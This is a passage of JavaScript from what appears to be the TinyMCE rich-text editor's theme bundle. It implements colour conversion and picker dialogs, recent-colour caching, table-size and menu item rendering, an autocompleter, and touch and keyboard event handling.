toHex(rgbaColour.green) + toHex(rgbaColour.blue); return hexColour(value); }; var min = Math.min; var max = Math.max; var round$1 = Math.round; var rgbRegex = /^rgb\((\d+),\s*(\d+),\s*(\d+)\)/; var rgbaRegex = /^rgba\((\d+),\s*(\d+),\s*(\d+),\s*(\d?(?:\.\d+)?)\)/; var rgbaColour = function (red, green, blue, alpha) { return { red: red, green: green, blue: blue, alpha: alpha }; }; var isRgbaComponent = function (value) { var num = parseInt(value, 10); return num.toString() === value && num >= 0 && num <= 255; }; var fromHsv = function (hsv) { var r; var g; var b; var hue = (hsv.hue || 0) % 360; var saturation = hsv.saturation / 100; var brightness = hsv.value / 100; saturation = max(0, min(saturation, 1)); brightness = max(0, min(brightness, 1)); if (saturation === 0) { r = g = b = round$1(255 * brightness); return rgbaColour(r, g, b, 1); } var side = hue / 60; var chroma = brightness * saturation; var x = chroma * (1 - Math.abs(side % 2 - 1)); var match = brightness - chroma; switch (Math.floor(side)) { case 0: r = chroma; g = x; b = 0; break; case 1: r = x; g = chroma; b = 0; break; case 2: r = 0; g = chroma; b = x; break; case 3: r = 0; g = x; b = chroma; break; case 4: r = x; g = 0; b = chroma; break; case 5: r = chroma; g = 0; b = x; break; default: r = g = b = 0; } r = round$1(255 * (r + match)); g = round$1(255 * (g + match)); b = round$1(255 * (b + match)); return rgbaColour(r, g, b, 1); }; var fromHex = function (hexColour) { var result = extractValues(hexColour); var red = parseInt(result[1], 16); var green = parseInt(result[2], 16); var blue = parseInt(result[3], 16); return rgbaColour(red, green, blue, 1); }; var fromStringValues = function (red, green, blue, alpha) { var r = parseInt(red, 10); var g = parseInt(green, 10); var b = parseInt(blue, 10); var a = parseFloat(alpha); return rgbaColour(r, g, b, a); }; var fromString = function (rgbaString) { if (rgbaString === 'transparent') { return Optional.some(rgbaColour(0, 0, 0, 0)); } var rgbMatch = rgbRegex.exec(rgbaString); if (rgbMatch !== null) { return Optional.some(fromStringValues(rgbMatch[1], rgbMatch[2], rgbMatch[3], '1')); } var rgbaMatch = rgbaRegex.exec(rgbaString); if (rgbaMatch !== null) { return Optional.some(fromStringValues(rgbaMatch[1], rgbaMatch[2], rgbaMatch[3], rgbaMatch[4])); } return Optional.none(); }; var toString = function (rgba) { return 'rgba(' + rgba.red + ',' + rgba.green + ',' + rgba.blue + ',' + rgba.alpha + ')'; }; var red = rgbaColour(255, 0, 0, 1); var fireSkinLoaded$1 = function (editor) { return editor.fire('SkinLoaded'); }; var fireSkinLoadError$1 = function (editor, error) { return editor.fire('SkinLoadError', error); }; var fireResizeEditor = function (editor) { return editor.fire('ResizeEditor'); }; var fireResizeContent = function (editor, e) { return editor.fire('ResizeContent', e); }; var fireScrollContent = function (editor, e) { return editor.fire('ScrollContent', e); }; var fireTextColorChange = function (editor, data) { return editor.fire('TextColorChange', data); }; var hsvColour = function (hue, saturation, value) { return { hue: hue, saturation: saturation, value: value }; }; var fromRgb = function (rgbaColour) { var h = 0; var s = 0; var v = 0; var r = rgbaColour.red / 255; var g = rgbaColour.green / 255; var b = rgbaColour.blue / 255; var minRGB = Math.min(r, Math.min(g, b)); var maxRGB = Math.max(r, Math.max(g, b)); if (minRGB === maxRGB) { v = minRGB; return hsvColour(0, 0, v * 100); } var d = r === minRGB ? g - b : b === minRGB ? r - g : b - r; h = r === minRGB ? 3 : b === minRGB ? 1 : 5; h = 60 * (h - d / (maxRGB - minRGB)); s = (maxRGB - minRGB) / maxRGB; v = maxRGB; return hsvColour(Math.round(h), Math.round(s * 100), Math.round(v * 100)); }; var hexToHsv = function (hex) { return fromRgb(fromHex(hex)); }; var hsvToHex = function (hsv) { return fromRgba(fromHsv(hsv)); }; var anyToHex = function (color) { return fromString$1(color).orThunk(function () { return fromString(color).map(fromRgba); }).getOrThunk(function () { var canvas = document.createElement('canvas'); canvas.height = 1; canvas.width = 1; var canvasContext = canvas.getContext('2d'); canvasContext.clearRect(0, 0, canvas.width, canvas.height); canvasContext.fillStyle = '#FFFFFF'; canvasContext.fillStyle = color; canvasContext.fillRect(0, 0, 1, 1); var rgba = canvasContext.getImageData(0, 0, 1, 1).data; var r = rgba[0]; var g = rgba[1]; var b = rgba[2]; var a = rgba[3]; return fromRgba(rgbaColour(r, g, b, a)); }); }; var global$8 = tinymce.util.Tools.resolve('tinymce.util.LocalStorage'); var storageName = 'tinymce-custom-colors'; function ColorCache (max) { if (max === void 0) { max = 10; } var storageString = global$8.getItem(storageName); var localstorage = isString(storageString) ? JSON.parse(storageString) : []; var prune = function (list) { var diff = max - list.length; return diff < 0 ? list.slice(0, max) : list; }; var cache = prune(localstorage); var add = function (key) { indexOf(cache, key).each(remove); cache.unshift(key); if (cache.length > max) { cache.pop(); } global$8.setItem(storageName, JSON.stringify(cache)); }; var remove = function (idx) { cache.splice(idx, 1); }; var state = function () { return cache.slice(0); }; return { add: add, state: state }; } var choiceItem = 'choiceitem'; var defaultColors = [ { type: choiceItem, text: 'Light Green', value: '#BFEDD2' }, { type: choiceItem, text: 'Light Yellow', value: '#FBEEB8' }, { type: choiceItem, text: 'Light Red', value: '#F8CAC6' }, { type: choiceItem, text: 'Light Purple', value: '#ECCAFA' }, { type: choiceItem, text: 'Light Blue', value: '#C2E0F4' }, { type: choiceItem, text: 'Green', value: '#2DC26B' }, { type: choiceItem, text: 'Yellow', value: '#F1C40F' }, { type: choiceItem, text: 'Red', value: '#E03E2D' }, { type: choiceItem, text: 'Purple', value: '#B96AD9' }, { type: choiceItem, text: 'Blue', value: '#3598DB' }, { type: choiceItem, text: 'Dark Turquoise', value: '#169179' }, { type: choiceItem, text: 'Orange', value: '#E67E23' }, { type: choiceItem, text: 'Dark Red', value: '#BA372A' }, { type: choiceItem, text: 'Dark Purple', value: '#843FA1' }, { type: choiceItem, text: 'Dark Blue', value: '#236FA1' }, { type: choiceItem, text: 'Light Gray', value: '#ECF0F1' }, { type: choiceItem, text: 'Medium Gray', value: '#CED4D9' }, { type: choiceItem, text: 'Gray', value: '#95A5A6' }, { type: choiceItem, text: 'Dark Gray', value: '#7E8C8D' }, { type: choiceItem, text: 'Navy Blue', value: '#34495E' }, { type: choiceItem, text: 'Black', value: '#000000' }, { type: choiceItem, text: 'White', value: '#ffffff' } ]; var colorCache = ColorCache(10); var mapColors = function (colorMap) { var colors = []; for (var i = 0; i < colorMap.length; i += 2) { colors.push({ text: colorMap[i + 1], value: '#' + anyToHex(colorMap[i]).value, type: 'choiceitem' }); } return colors; }; var getColorCols$2 = function (editor, defaultCols) { return editor.getParam('color_cols', defaultCols, 'number'); }; var hasCustomColors$1 = function (editor) { return editor.getParam('custom_colors') !== false; }; var getColorMap = function (editor) { return editor.getParam('color_map'); }; var getColors$2 = function (editor) { var unmapped = getColorMap(editor); return unmapped !== undefined ? mapColors(unmapped) : defaultColors; }; var getCurrentColors = function () { return map$2(colorCache.state(), function (color) { return { type: choiceItem, text: color, value: color }; }); }; var addColor = function (color) { colorCache.add(color); }; var fallbackColor = '#000000'; var getCurrentColor = function (editor, format) { var color; editor.dom.getParents(editor.selection.getStart(), function (elm) { var value; if (value = elm.style[format === 'forecolor' ? 'color' : 'background-color']) { color = color ? color : value; } }); return Optional.from(color); }; var applyFormat = function (editor, format, value) { editor.undoManager.transact(function () { editor.focus(); editor.formatter.apply(format, { value: value }); editor.nodeChanged(); }); }; var removeFormat = function (editor, format) { editor.undoManager.transact(function () { editor.focus(); editor.formatter.remove(format, { value: null }, null, true); editor.nodeChanged(); }); }; var registerCommands = function (editor) { editor.addCommand('mceApplyTextcolor', function (format, value) { applyFormat(editor, format, value); }); editor.addCommand('mceRemoveTextcolor', function (format) { removeFormat(editor, format); }); }; var calcCols = function (colors) { return Math.max(5, Math.ceil(Math.sqrt(colors))); }; var getColorCols$1 = function (editor) { var colors = getColors$2(editor); var defaultCols = calcCols(colors.length); return getColorCols$2(editor, defaultCols); }; var getAdditionalColors = function (hasCustom) { var type = 'choiceitem'; var remove = { type: type, text: 'Remove color', icon: 'color-swatch-remove-color', value: 'remove' }; var custom = { type: type, text: 'Custom color', icon: 'color-picker', value: 'custom' }; return hasCustom ? [ remove, custom ] : [remove]; }; var applyColor = function (editor, format, value, onChoice) { if (value === 'custom') { var dialog = colorPickerDialog(editor); dialog(function (colorOpt) { colorOpt.each(function (color) { addColor(color); editor.execCommand('mceApplyTextcolor', format, color); onChoice(color); }); }, fallbackColor); } else if (value === 'remove') { onChoice(''); editor.execCommand('mceRemoveTextcolor', format); } else { onChoice(value); editor.execCommand('mceApplyTextcolor', format, value); } }; var getColors$1 = function (colors, hasCustom) { return colors.concat(getCurrentColors().concat(getAdditionalColors(hasCustom))); }; var getFetch$1 = function (colors, hasCustom) { return function (callback) { callback(getColors$1(colors, hasCustom)); }; }; var setIconColor = function (splitButtonApi, name, newColor) { var id = name === 'forecolor' ? 'tox-icon-text-color__color' : 'tox-icon-highlight-bg-color__color'; splitButtonApi.setIconFill(id, newColor); }; var registerTextColorButton = function (editor, name, format, tooltip, lastColor) { editor.ui.registry.addSplitButton(name, { tooltip: tooltip, presets: 'color', icon: name === 'forecolor' ? 'text-color' : 'highlight-bg-color', select: function (value) { var optCurrentRgb = getCurrentColor(editor, format); return optCurrentRgb.bind(function (currentRgb) { return fromString(currentRgb).map(function (rgba) { var currentHex = fromRgba(rgba).value; return contains$1(value.toLowerCase(), currentHex); }); }).getOr(false); }, columns: getColorCols$1(editor), fetch: getFetch$1(getColors$2(editor), hasCustomColors$1(editor)), onAction: function (_splitButtonApi) { applyColor(editor, format, lastColor.get(), noop); }, onItemAction: function (_splitButtonApi, value) { applyColor(editor, format, value, function (newColor) { lastColor.set(newColor); fireTextColorChange(editor, { name: name, color: newColor }); }); }, onSetup: function (splitButtonApi) { setIconColor(splitButtonApi, name, lastColor.get()); var handler = function (e) { if (e.name === name) { setIconColor(splitButtonApi, e.name, e.color); } }; editor.on('TextColorChange', handler); return function () { editor.off('TextColorChange', handler); }; } }); }; var registerTextColorMenuItem = function (editor, name, format, text) { editor.ui.registry.addNestedMenuItem(name, { text: text, icon: name === 'forecolor' ? 'text-color' : 'highlight-bg-color', getSubmenuItems: function () { return [{ type: 'fancymenuitem', fancytype: 'colorswatch', onAction: function (data) { applyColor(editor, format, data.value, noop); } }]; } }); }; var colorPickerDialog = function (editor) { return function (callback, value) { var isValid = false; var onSubmit = function (api) { var data = api.getData(); var hex = data.colorpicker; if (isValid) { callback(Optional.from(hex)); api.close(); } else { editor.windowManager.alert(editor.translate([ 'Invalid hex color code: {0}', hex ])); } }; var onAction = function (_api, details) { if (details.name === 'hex-valid') { isValid = details.value; } }; var initialData = { colorpicker: value }; editor.windowManager.open({ title: 'Color Picker', size: 'normal', body: { type: 'panel', items: [{ type: 'colorpicker', name: 'colorpicker', label: 'Color' }] }, buttons: [ { type: 'cancel', name: 'cancel', text: 'Cancel' }, { type: 'submit', name: 'save', text: 'Save', primary: true } ], initialData: initialData, onAction: onAction, onSubmit: onSubmit, onClose: noop, onCancel: function () { callback(Optional.none()); } }); }; }; var register$a = function (editor) { registerCommands(editor); var lastForeColor = Cell(fallbackColor); var lastBackColor = Cell(fallbackColor); registerTextColorButton(editor, 'forecolor', 'forecolor', 'Text color', lastForeColor); registerTextColorButton(editor, 'backcolor', 'hilitecolor', 'Background color', lastBackColor); registerTextColorMenuItem(editor, 'forecolor', 'forecolor', 'Text color'); registerTextColorMenuItem(editor, 'backcolor', 'hilitecolor', 'Background color'); }; var createPartialChoiceMenu = function (value, items, onItemValueHandler, columns, presets, itemResponse, select, providersBackstage) { var hasIcons = menuHasIcons(items); var presetItemTypes = presets !== 'color' ? 'normal' : 'color'; var alloyItems = createChoiceItems(items, onItemValueHandler, columns, presetItemTypes, itemResponse, select, providersBackstage); return createPartialMenuWithAlloyItems(value, hasIcons, alloyItems, columns, presets); }; var createChoiceItems = function (items, onItemValueHandler, columns, itemPresets, itemResponse, select, providersBackstage) { return cat(map$2(items, function (item) { if (item.type === 'choiceitem') { return createChoiceMenuItem(item).fold(handleError, function (d) { return Optional.some(renderChoiceItem(d, columns === 1, itemPresets, onItemValueHandler, select(item.value), itemResponse, providersBackstage, menuHasIcons(items))); }); } else { return Optional.none(); } })); }; var deriveMenuMovement = function (columns, presets) { var menuMarkers = markers(presets); if (columns === 1) { return { mode: 'menu', moveOnTab: true }; } else if (columns === 'auto') { return { mode: 'grid', selector: '.' + menuMarkers.item, initSize: { numColumns: 1, numRows: 1 } }; } else { var rowClass = presets === 'color' ? 'tox-swatches__row' : 'tox-collection__group'; return { mode: 'matrix', rowSelector: '.' + rowClass }; } }; var deriveCollectionMovement = function (columns, presets) { if (columns === 1) { return { mode: 'menu', moveOnTab: false, selector: '.tox-collection__item' }; } else if (columns === 'auto') { return { mode: 'flatgrid', selector: '.' + 'tox-collection__item', initSize: { numColumns: 1, numRows: 1 } }; } else { return { mode: 'matrix', selectors: { row: presets === 'color' ? '.tox-swatches__row' : '.tox-collection__group', cell: presets === 'color' ? '.' + colorClass : '.' + selectableClass } }; } }; var renderColorSwatchItem = function (spec, backstage) { var items = getColorItems(spec, backstage); var columns = backstage.colorinput.getColorCols(); var presets = 'color'; var menuSpec = createPartialChoiceMenu(generate$6('menu-value'), items, function (value) { spec.onAction({ value: value }); }, columns, presets, ItemResponse$1.CLOSE_ON_EXECUTE, never, backstage.shared.providers); var widgetSpec = __assign(__assign({}, menuSpec), { markers: markers(presets), movement: deriveMenuMovement(columns, presets) }); return { type: 'widget', data: { value: generate$6('widget-id') }, dom: { tag: 'div', classes: ['tox-fancymenuitem'] }, autofocus: true, components: [parts$f.widget(Menu.sketch(widgetSpec))] }; }; var getColorItems = function (spec, backstage) { var useCustomColors = spec.initData.allowCustomColors && backstage.colorinput.hasCustomColors(); return spec.initData.colors.fold(function () { return getColors$1(backstage.colorinput.getColors(), useCustomColors); }, function (colors) { return colors.concat(getAdditionalColors(useCustomColors)); }); }; var cellOverEvent = generate$6('cell-over'); var cellExecuteEvent = generate$6('cell-execute'); var makeCell = function (row, col, labelId) { var _a; var emitCellOver = function (c) { return emitWith(c, cellOverEvent, { row: row, col: col }); }; var emitExecute = function (c) { return emitWith(c, cellExecuteEvent, { row: row, col: col }); }; var onClick = function (c, se) { se.stop(); emitExecute(c); }; return build$1({ dom: { tag: 'div', attributes: (_a = { role: 'button' }, _a['aria-labelledby'] = labelId, _a) }, behaviours: derive$1([ config('insert-table-picker-cell', [ run$1(mouseover(), Focusing.focus), run$1(execute$5(), emitExecute), run$1(click(), onClick), run$1(tap(), onClick) ]), Toggling.config({ toggleClass: 'tox-insert-table-picker__selected', toggleOnExecute: false }), Focusing.config({ onFocus: emitCellOver }) ]) }); }; var makeCells = function (labelId, numRows, numCols) { var cells = []; for (var i = 0; i < numRows; i++) { var row = []; for (var j = 0; j < numCols; j++) { row.push(makeCell(i, j, labelId)); } cells.push(row); } return cells; }; var selectCells = function (cells, selectedRow, selectedColumn, numRows, numColumns) { for (var i = 0; i < numRows; i++) { for (var j = 0; j < numColumns; j++) { Toggling.set(cells[i][j], i <= selectedRow && j <= selectedColumn); } } }; var makeComponents = function (cells) { return bind$3(cells, function (cellRow) { return map$2(cellRow, premade); }); }; var makeLabelText = function (row, col) { return text(col + 'x' + row); }; var renderInsertTableMenuItem = function (spec) { var numRows = 10; var numColumns = 10; var sizeLabelId = generate$6('size-label'); var cells = makeCells(sizeLabelId, numRows, numColumns); var emptyLabelText = makeLabelText(0, 0); var memLabel = record({ dom: { tag: 'span', classes: ['tox-insert-table-picker__label'], attributes: { id: sizeLabelId } }, components: [emptyLabelText], behaviours: derive$1([Replacing.config({})]) }); return { type: 'widget', data: { value: generate$6('widget-id') }, dom: { tag: 'div', classes: ['tox-fancymenuitem'] }, autofocus: true, components: [parts$f.widget({ dom: { tag: 'div', classes: ['tox-insert-table-picker'] }, components: makeComponents(cells).concat(memLabel.asSpec()), behaviours: derive$1([ config('insert-table-picker', [ runOnAttached(function (c) { Replacing.set(memLabel.get(c), [emptyLabelText]); }), runWithTarget(cellOverEvent, function (c, t, e) { var _a = e.event, row = _a.row, col = _a.col; selectCells(cells, row, col, numRows, numColumns); Replacing.set(memLabel.get(c), [makeLabelText(row + 1, col + 1)]); }), runWithTarget(cellExecuteEvent, function (c, _, e) { var _a = e.event, row = _a.row, col = _a.col; spec.onAction({ numRows: row + 1, numColumns: col + 1 }); emit(c, sandboxClose()); }) ]), Keying.config({ initSize: { numRows: numRows, numColumns: numColumns }, mode: 'flatgrid', selector: '[role="button"]' }) ]) })] }; }; var fancyMenuItems = { inserttable: renderInsertTableMenuItem, colorswatch: renderColorSwatchItem }; var renderFancyMenuItem = function (spec, backstage) { return get$e(fancyMenuItems, spec.fancytype).map(function (render) { return render(spec, backstage); }); }; var renderNestedItem = function (spec, itemResponse, providersBackstage, renderIcons, downwardsCaret) { if (renderIcons === void 0) { renderIcons = true; } if (downwardsCaret === void 0) { downwardsCaret = false; } var caret = downwardsCaret ? renderDownwardsCaret(providersBackstage.icons) : renderSubmenuCaret(providersBackstage.icons); var getApi = function (component) { return { isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { return Disabling.set(component, state); } }; }; var structure = renderItemStructure({ presets: 'normal', iconContent: spec.icon, textContent: spec.text, htmlContent: Optional.none(), ariaLabel: spec.text, caret: Optional.some(caret), checkMark: Optional.none(), shortcutContent: spec.shortcut }, providersBackstage, renderIcons); return renderCommonItem({ data: buildData(spec), getApi: getApi, disabled: spec.disabled, onAction: noop, onSetup: spec.onSetup, triggersSubmenu: true, itemBehaviours: [] }, structure, itemResponse, providersBackstage); }; var renderNormalItem = function (spec, itemResponse, providersBackstage, renderIcons) { if (renderIcons === void 0) { renderIcons = true; } var getApi = function (component) { return { isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { return Disabling.set(component, state); } }; }; var structure = renderItemStructure({ presets: 'normal', iconContent: spec.icon, textContent: spec.text, htmlContent: Optional.none(), ariaLabel: spec.text, caret: Optional.none(), checkMark: Optional.none(), shortcutContent: spec.shortcut }, providersBackstage, renderIcons); return renderCommonItem({ data: buildData(spec), getApi: getApi, disabled: spec.disabled, onAction: spec.onAction, onSetup: spec.onSetup, triggersSubmenu: false, itemBehaviours: [] }, structure, itemResponse, providersBackstage); }; var renderSeparatorItem = function (spec) { var innerHtml = spec.text.fold(function () { return {}; }, function (text) { return { innerHtml: text }; }); return { type: 'separator', dom: __assign({ tag: 'div', classes: [ selectableClass, groupHeadingClass ] }, innerHtml), components: [] }; }; var renderToggleMenuItem = function (spec, itemResponse, providersBackstage, renderIcons) { if (renderIcons === void 0) { renderIcons = true; } var getApi = function (component) { return { setActive: function (state) { Toggling.set(component, state); }, isActive: function () { return Toggling.isOn(component); }, isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { return Disabling.set(component, state); } }; }; var structure = renderItemStructure({ iconContent: spec.icon, textContent: spec.text, htmlContent: Optional.none(), ariaLabel: spec.text, checkMark: Optional.some(renderCheckmark(providersBackstage.icons)), caret: Optional.none(), shortcutContent: spec.shortcut, presets: 'normal', meta: spec.meta }, providersBackstage, renderIcons); return deepMerge(renderCommonItem({ data: buildData(spec), disabled: spec.disabled, getApi: getApi, onAction: spec.onAction, onSetup: spec.onSetup, triggersSubmenu: false, itemBehaviours: [] }, structure, itemResponse, providersBackstage), { toggling: { toggleClass: tickedClass, toggleOnExecute: false, selected: spec.active } }); }; var autocomplete = renderAutocompleteItem; var separator$3 = renderSeparatorItem; var normal = renderNormalItem; var nested = renderNestedItem; var toggle$1 = renderToggleMenuItem; var fancy = renderFancyMenuItem; var card = renderCardMenuItem; var FocusMode; (function (FocusMode) { FocusMode[FocusMode['ContentFocus'] = 0] = 'ContentFocus'; FocusMode[FocusMode['UiFocus'] = 1] = 'UiFocus'; }(FocusMode || (FocusMode = {}))); var createMenuItemFromBridge = function (item, itemResponse, backstage, menuHasIcons, isHorizontalMenu) { var providersBackstage = backstage.shared.providers; var parseForHorizontalMenu = function (menuitem) { return !isHorizontalMenu ? menuitem : __assign(__assign({}, menuitem), { shortcut: Optional.none(), icon: menuitem.text.isSome() ? Optional.none() : menuitem.icon }); }; switch (item.type) { case 'menuitem': return createMenuItem(item).fold(handleError, function (d) { return Optional.some(normal(parseForHorizontalMenu(d), itemResponse, providersBackstage, menuHasIcons)); }); case 'nestedmenuitem': return createNestedMenuItem(item).fold(handleError, function (d) { return Optional.some(nested(parseForHorizontalMenu(d), itemResponse, providersBackstage, menuHasIcons, isHorizontalMenu)); }); case 'togglemenuitem': return createToggleMenuItem(item).fold(handleError, function (d) { return Optional.some(toggle$1(parseForHorizontalMenu(d), itemResponse, providersBackstage, menuHasIcons)); }); case 'separator': return createSeparatorMenuItem(item).fold(handleError, function (d) { return Optional.some(separator$3(d)); }); case 'fancymenuitem': return createFancyMenuItem(item).fold(handleError, function (d) { return fancy(parseForHorizontalMenu(d), backstage); }); default: { console.error('Unknown item in general menu', item); return Optional.none(); } } }; var createAutocompleteItems = function (items, matchText, onItemValueHandler, columns, itemResponse, sharedBackstage, highlightOn) { var renderText = columns === 1; var renderIcons = !renderText || menuHasIcons(items); return cat(map$2(items, function (item) { switch (item.type) { case 'separator': return createSeparatorItem(item).fold(handleError, function (d) { return Optional.some(separator$3(d)); }); case 'cardmenuitem': return createCardMenuItem(item).fold(handleError, function (d) { return Optional.some(card(__assign(__assign({}, d), { onAction: function (api) { d.onAction(api); onItemValueHandler(d.value, d.meta); } }), itemResponse, sharedBackstage, { itemBehaviours: tooltipBehaviour(d.meta, sharedBackstage), cardText: { matchText: matchText, highlightOn: highlightOn } })); }); case 'autocompleteitem': default: return createAutocompleterItem(item).fold(handleError, function (d) { return Optional.some(autocomplete(d, matchText, renderText, 'normal', onItemValueHandler, itemResponse, sharedBackstage, renderIcons)); }); } })); }; var createPartialMenu = function (value, items, itemResponse, backstage, isHorizontalMenu) { var hasIcons = menuHasIcons(items); var alloyItems = cat(map$2(items, function (item) { var itemHasIcon = function (i) { return isHorizontalMenu ? !has$2(i, 'text') : hasIcons; }; var createItem = function (i) { return createMenuItemFromBridge(i, itemResponse, backstage, itemHasIcon(i), isHorizontalMenu); }; if (item.type === 'nestedmenuitem' && item.getSubmenuItems().length <= 0) { return createItem(__assign(__assign({}, item), { disabled: true })); } else { return createItem(item); } })); var createPartial = isHorizontalMenu ? createHorizontalPartialMenuWithAlloyItems : createPartialMenuWithAlloyItems; return createPartial(value, hasIcons, alloyItems, 1, 'normal'); }; var createTieredDataFrom = function (partialMenu) { return tieredMenu.singleData(partialMenu.value, partialMenu); }; var createMenuFrom = function (partialMenu, columns, focusMode, presets) { var focusManager = focusMode === FocusMode.ContentFocus ? highlights() : dom$2(); var movement = deriveMenuMovement(columns, presets); var menuMarkers = markers(presets); return { dom: partialMenu.dom, components: partialMenu.components, items: partialMenu.items, value: partialMenu.value, markers: { selectedItem: menuMarkers.selectedItem, item: menuMarkers.item }, movement: movement, fakeFocus: focusMode === FocusMode.ContentFocus, focusManager: focusManager, menuBehaviours: SimpleBehaviours.unnamedEvents(columns !== 'auto' ? [] : [runOnAttached(function (comp, _se) { detectSize(comp, 4, menuMarkers.item).each(function (_a) { var numColumns = _a.numColumns, numRows = _a.numRows; Keying.setGridSize(comp, numRows, numColumns); }); })]) }; }; var register$9 = function (editor, sharedBackstage) { var activeAutocompleter = value$1(); var processingAction = Cell(false); var autocompleter = build$1(InlineView.sketch({ dom: { tag: 'div', classes: ['tox-autocompleter'] }, components: [], fireDismissalEventInstead: {}, inlineBehaviours: derive$1([config('dismissAutocompleter', [run$1(dismissRequested(), function () { return cancelIfNecessary(); })])]), lazySink: sharedBackstage.getSink })); var isMenuOpen = function () { return InlineView.isOpen(autocompleter); }; var isActive = function () { return activeAutocompleter.get().isSome(); }; var hideIfNecessary = function () { if (isActive()) { InlineView.hide(autocompleter); } }; var cancelIfNecessary = function () { if (isActive()) { var lastElement = activeAutocompleter.get().map(function (ac) { return ac.element; }); detect(lastElement.getOr(SugarElement.fromDom(editor.selection.getNode()))).each(unwrap); hideIfNecessary(); activeAutocompleter.clear(); processingAction.set(false); } }; var getAutocompleters = cached(function () { return register$b(editor); }); var getCombinedItems = function (triggerChar, matches) { var columns = findMap(matches, function (m) { return Optional.from(m.columns); }).getOr(1); return bind$3(matches, function (match) { var choices = match.items; return createAutocompleteItems(choices, match.matchText, function (itemValue, itemMeta) { var nr = editor.selection.getRng(); getContext(editor.dom, nr, triggerChar).fold(function () { return console.error('Lost context. Cursor probably moved'); }, function (_a) { var range = _a.range; var autocompleterApi = { hide: function () { cancelIfNecessary(); }, reload: function (fetchOptions) { hideIfNecessary(); load(fetchOptions); } }; processingAction.set(true); match.onAction(autocompleterApi, range, itemValue, itemMeta); processingAction.set(false); }); }, columns, ItemResponse$1.BUBBLE_TO_SANDBOX, sharedBackstage, match.highlightOn); }); }; var commenceIfNecessary = function (context) { if (!isActive()) { var wrapper = create$4(editor, context.range); activeAutocompleter.set({ triggerChar: context.triggerChar, element: wrapper, matchLength: context.text.length }); processingAction.set(false); } }; var display = function (ac, context, lookupData, items) { ac.matchLength = context.text.length; var columns = findMap(lookupData, function (ld) { return Optional.from(ld.columns); }).getOr(1); InlineView.showAt(autocompleter, Menu.sketch(createMenuFrom(createPartialMenuWithAlloyItems('autocompleter-value', true, items, columns, 'normal'), columns, FocusMode.ContentFocus, 'normal')), { anchor: { type: 'node', root: SugarElement.fromDom(editor.getBody()), node: Optional.from(ac.element) } }); InlineView.getContent(autocompleter).each(Highlighting.highlightFirst); }; var doLookup = function (fetchOptions) { return activeAutocompleter.get().map(function (ac) { return getContext(editor.dom, editor.selection.getRng(), ac.triggerChar).bind(function (newContext) { return lookupWithContext(editor, getAutocompleters, newContext, fetchOptions); }); }).getOrThunk(function () { return lookup$2(editor, getAutocompleters); }); }; var load = function (fetchOptions) { doLookup(fetchOptions).fold(cancelIfNecessary, function (lookupInfo) { commenceIfNecessary(lookupInfo.context); lookupInfo.lookupData.then(function (lookupData) { activeAutocompleter.get().map(function (ac) { var context = lookupInfo.context; if (ac.triggerChar === context.triggerChar) { var combinedItems = getCombinedItems(context.triggerChar, lookupData); if (combinedItems.length > 0) { display(ac, context, lookupData, combinedItems); } else if (context.text.length - ac.matchLength >= 10) { cancelIfNecessary(); } else { hideIfNecessary(); } } }); }); }); }; var onKeypress = last(function (e) { if (e.which === 27) { return; } load(); }, 50); var autocompleterUiApi = { onKeypress: onKeypress, cancelIfNecessary: cancelIfNecessary, isMenuOpen: isMenuOpen, isActive: isActive, isProcessingAction: processingAction.get, getView: function () { return InlineView.getContent(autocompleter); } }; if (editor.hasPlugin('rtc') === false) { AutocompleterEditorEvents.setup(autocompleterUiApi, editor); } }; var Autocompleter = { register: register$9 }; var closest = function (scope, selector, isRoot) { return closest$1(scope, selector, isRoot).isSome(); }; var DelayedFunction = function (fun, delay) { var ref = null; var schedule = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } ref = setTimeout(function () { fun.apply(null, args); ref = null; }, delay); }; var cancel = function () { if (ref !== null) { clearTimeout(ref); ref = null; } }; return { cancel: cancel, schedule: schedule }; }; var SIGNIFICANT_MOVE = 5; var LONGPRESS_DELAY = 400; var getTouch = function (event) { var raw = event.raw; if (raw.touches === undefined || raw.touches.length !== 1) { return Optional.none(); } return Optional.some(raw.touches[0]); }; var isFarEnough = function (touch, data) { var distX = Math.abs(touch.clientX - data.x); var distY = Math.abs(touch.clientY - data.y); return distX > SIGNIFICANT_MOVE || distY > SIGNIFICANT_MOVE; }; var monitor = function (settings) { var startData = value$1(); var longpressFired = Cell(false); var longpress$1 = DelayedFunction(function (event) { settings.triggerEvent(longpress(), event); longpressFired.set(true); }, LONGPRESS_DELAY); var handleTouchstart = function (event) { getTouch(event).each(function (touch) { longpress$1.cancel(); var data = { x: touch.clientX, y: touch.clientY, target: event.target }; longpress$1.schedule(event); longpressFired.set(false); startData.set(data); }); return Optional.none(); }; var handleTouchmove = function (event) { longpress$1.cancel(); getTouch(event).each(function (touch) { startData.on(function (data) { if (isFarEnough(touch, data)) { startData.clear(); } }); }); return Optional.none(); }; var handleTouchend = function (event) { longpress$1.cancel(); var isSame = function (data) { return eq(data.target, event.target); }; return startData.get().filter(isSame).map(function (_data) { if (longpressFired.get()) { event.prevent(); return false; } else { return settings.triggerEvent(tap(), event); } }); }; var handlers = wrapAll([ { key: touchstart(), value: handleTouchstart }, { key: touchmove(), value: handleTouchmove }, { key: touchend(), value: handleTouchend } ]); var fireIfReady = function (event, type) { return get$e(handlers, type).bind(function (handler) { return handler(event); }); }; return { fireIfReady: fireIfReady }; }; var isDangerous = function (event) { var keyEv = event.raw; return keyEv.which === BACKSPACE[0] && !contains$2([ 'input', 'textarea' ], name$2(event.target)) && !closest(event.target, '[contenteditable="true"]'); }; var isFirefox = function () { return detect$1().browser.isFirefox(); }; var bindFocus = function (container, handler) { if (isFirefox()) { return capture(container, 'focus', handler); } else { return bind(container, 'focusin', handler); } }; var bindBlur = function (container, handler) { if (isFirefox()) { return capture(container, 'blur', handler); } else { return bind(container, 'focusout', handler); } }; var setup$d = function (container, rawSettings) { var settings = __assign({ stopBackspace: true }, rawSettings); var pointerEvents = [ 'touchstart', 'touchmove', 'touchend', 'touchcancel', 'gesturestart', 'mousedown', 'mouseup', 'mouseover', 'mousemove', 'mouseout', 'click' ]; var tapEvent = monitor(settings); var simpleEvents = map$2(pointerEvents.concat([ 'selectstart', 'input', 'contextmenu', 'change', 'transitionend', 'transitioncancel', 'drag', 'dragstart', 'dragend', 'dragenter', 'dragleave', 'dragover', 'drop', 'keyup' ]), function (type) { return bind(container, type, function (event) { tapEvent.fireIfReady(event, type).each(function 